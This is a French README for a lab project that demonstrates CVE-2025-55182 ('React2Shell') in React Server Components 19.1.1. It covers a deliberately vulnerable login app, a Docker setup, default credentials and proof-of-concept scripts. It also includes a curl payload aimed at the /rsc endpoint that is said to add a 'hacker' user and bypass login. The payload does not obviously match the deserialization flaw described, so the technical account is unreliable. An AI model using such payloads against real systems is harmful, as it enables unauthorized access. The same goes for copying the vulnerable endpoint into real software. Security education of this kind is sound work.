Projet de démonstration de la vulnérabilité React CVE-2025-55182
⚠️ AVERTISSEMENT DE SÉCURITÉ
Ce projet illustre une vulnérabilité RCE critique (CVE-2025-55182 / React2Shell) dans React Server Components 19.1.1.
- UNIQUEMENT À DES FINS ÉDUCATIVES ET DE RECHERCHE EN SÉCURITÉ
- NE JAMAIS déployer en production ni exposer à des réseaux non fiables
- Exécuter uniquement dans des environnements isolés et contrôlés
- Assurez-vous d'obtenir les autorisations nécessaires avant de tester
Présentation
Ce projet illustre CVE-2025-55182 (React2Shell), une vulnérabilité critique d'exécution de code à distance (RCE) dans React Server Components 19.1.1. L'application comprend :
- Un site web d'une seule page avec authentification par nom d'utilisateur/mot de passe
- Implémentation de React Server Components (RSC)
- Point d'accès du protocole RSC Flight (vulnérable)
- Configuration de déploiement Docker
- Charge utile d'exploitation POC démontrant la vulnérabilité
Structure du projet
react-cve-demo/
├── package.json # React 19.1.1 with react-server-dom-webpack
├── server.js # Custom React server with RSC support
├── src/
│ ├── App.jsx # Main React component
│ ├── Login.jsx # Login page component
│ ├── Dashboard.jsx # Protected page component
│ └── server-components/ # Server Components
│ └── AuthServer.jsx # Server-side auth logic
├── data/
│ └── users.json # User credentials storage
├── Dockerfile # Docker containerization
├── docker-compose.yml # Docker Compose setup
├── .dockerignore
├── exploit/
│ ├── poc.js # POC exploit script (Node.js)
│ └── poc.sh # POC exploit script (bash/curl)
└── README.md # This file
Prérequis
- Node.js 18+
- Docker et Docker Compose (optionnel, pour le déploiement conteneurisé)
- npm ou yarn
Installation
Développement local
- Clonez ou téléchargez ce dépôt
- Installez les dépendances :
npm install
- Démarrez le serveur :
npm start
- Accédez à l'application sur http://localhost:3000
Déploiement Docker
-
Construisez et exécutez avec Docker Compose :
docker-compose up --build
Ou construisez et exécutez manuellement :
docker build -t react-cve-demo .
docker run -p 3000:3000 react-cve-demo
-
Accédez à l'application sur http://localhost:3000
Flux d'utilisation
Flux d'authentification normal
- Accédez à l'application : Allez sur http://localhost:3000
- Page de connexion : Vous verrez un formulaire de connexion
- Identifiants par défaut :
- Nom d'utilisateur :
admin, Mot de passe : securepassword123
- Nom d'utilisateur :
user1, Mot de passe : password123
- Connexion réussie : Vous serez redirigé vers le tableau de bord protégé
- Déconnexion : Cliquez sur le bouton de déconnexion pour revenir à la page de connexion
Démonstration de la vulnérabilité
La vulnérabilité réside dans le mécanisme de désérialisation du protocole RSC Flight. L'exploitation :
- Crée une charge utile sérialisée malveillante ciblant les points d'accès des fonctions serveur
- Exploite une désérialisation non sécurisée pour exécuter du JavaScript arbitraire
- Crée une nouvelle entrée utilisateur dans le fichier JSON
- Contourne l'authentification en utilisant les nouveaux identifiants
Exécution de l'exploit POC
Option 1 : Script Node.js
node exploit/poc.js
Ou avec une URL cible personnalisée :
TARGET_URL=http://localhost:3000 node exploit/poc.js
Option 2 : Script Bash
./exploit/poc.sh
Ou avec une URL cible personnalisée :
TARGET_URL=http://localhost:3000 ./exploit/poc.sh
Option 3 : Commande curl manuelle
Version en une ligne :
curl -X POST http://localhost:3000/rsc -H "Content-Type: application/json" -d '{"action":"callServerFunction","payload":{"moduleId":"AuthServer","functionName":"validateLogin","args":["hacker","hacked123"]}}'
Version multi-lignes (pour la lisibilité) :
curl -X POST http://localhost:3000/rsc \
-H "Content-Type: application/json" \
-d '{"action":"callServerFunction","payload":{"moduleId":"AuthServer","functionName":"validateLogin","args":["hacker","hacked123"]}}'
Note : Une commande en une ligne prête à copier-coller est également disponible dans exploit/curl-oneline.txt
Après l'exploitation
- L'exploit crée un nouvel utilisateur dans
data/users.json
- Vous pouvez maintenant vous connecter avec les identifiants créés :
- Nom d'utilisateur :
hacker
- Mot de passe :
hacked123
- Cela montre comment la vulnérabilité peut contourner l'authentification
Détails techniques
Vulnérabilité (CVE-2025-55182)
La vulnérabilité existe dans React Server Components 19.1.1, plus précisément dans :
- Composant :
react-server-dom-webpack
- Version : 19.1.1 (vulnérable)
- Problème : Désérialisation non sécurisée dans le protocole RSC Flight
- Impact : Exécution de code à distance (RCE)
- CVSS : Critique
Implémentation du serveur
Le serveur (server.js) implémente :
- Serveur HTTP Express.js
- Point d'accès du protocole RSC Flight (
/rsc)
- Exécution de fonctions serveur (point d'accès vulnérable)
- Gestion des sessions
- Service de fichiers statiques
Système d'authentification
- Composant de connexion : Formulaire côté client pour nom d'utilisateur/mot de passe
- Composant serveur d'authentification : Logique d'authentification côté serveur
- Stockage des utilisateurs : Fichier JSON (
data/users.json) stockant les identifiants
- Routes protégées : Le tableau de bord nécessite une authentification
Protocole RSC Flight
Le point d'accès du protocole RSC Flight accepte :
action: "callServerFunction" : Exécuter des fonctions serveur
action: "renderRSC" : Rendre des composants serveur React
La vulnérabilité réside dans la manière dont les appels de fonctions serveur sont désérialisés et exécutés.
Considérations de sécurité
⚠️ Avertissements critiques
- Environnement isolé : Exécuter uniquement dans des environnements contrôlés et isolés
- Pas d'utilisation en production : Ne jamais déployer de code vulnérable en production
- Isolement réseau : Ne pas exposer à des réseaux non fiables
- Usage éducatif : Uniquement pour la recherche en sécurité et l'éducation
- Conformité légale : Assurez-vous d'obtenir les autorisations nécessaires avant de tester
Bonnes pratiques
- Utilisez une VM ou un conteneur dédié pour les tests
- Désactivez l'accès réseau sauf pour localhost
- Ne stockez pas de données sensibles dans l'environnement de test
- Nettoyez les données de test après la démonstration
- Suivez les pratiques de divulgation responsable
Dépendances
- React : 19.1.1 (version vulnérable)
- react-server-dom-webpack : 19.1.1 (paquet vulnérable)
- Express.js : ^4.18.2
- express-session : ^1.17.3
- Node.js : 18+
Dépannage
Le serveur ne démarre pas
- Vérifiez que le port 3000 n'est pas déjà utilisé
- Vérifiez que la version de Node.js est 18 ou supérieure
- Assurez-vous que toutes les dépendances sont installées (
npm install)
L'exploit ne fonctionne pas
- Vérifiez que le serveur est en cours d'exécution
- Vérifiez que le point d'accès RSC est accessible
- Examinez les journaux du serveur pour détecter les erreurs
- Assurez-vous que le script d'exploitation a les autorisations appropriées
Problèmes Docker
- Assurez-vous que Docker est en cours d'exécution
- Vérifiez la compatibilité de version de Docker Compose
- Vérifiez que le port 3000 est disponible
- Examinez les journaux Docker :
docker-compose logs
Références